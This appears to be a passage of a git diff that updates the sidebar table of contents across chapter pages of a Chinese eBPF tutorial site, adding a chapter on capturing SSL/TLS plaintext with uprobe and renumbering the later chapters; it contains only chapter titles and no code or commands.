模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/17-biopattern/index.html b/17-biopattern/index.html index 3e26b21..b0d93cb 100644 --- a/17-biopattern/index.html +++ b/17-biopattern/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/18-further-reading/index.html b/18-further-reading/index.html index c868e52..72de609 100644 --- a/18-further-reading/index.html +++ b/18-further-reading/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/19-lsm-connect/index.html b/19-lsm-connect/index.html index e9ae4b9..92ff4d3 100644 --- a/19-lsm-connect/index.html +++ b/19-lsm-connect/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/2-kprobe-unlink/index.html b/2-kprobe-unlink/index.html index c54dea9..772c149 100644 --- a/2-kprobe-unlink/index.html +++ b/2-kprobe-unlink/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/20-tc/index.html b/20-tc/index.html index 36d4a6b..cf82084 100644 --- a/20-tc/index.html +++ b/20-tc/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/22-android/index.html b/22-android/index.html index c1b16d7..97f73f9 100644 --- a/22-android/index.html +++ b/22-android/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/23-http/index.html b/23-http/index.html index a9a9b6c..edd6ec6 100644 --- a/23-http/index.html +++ b/23-http/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 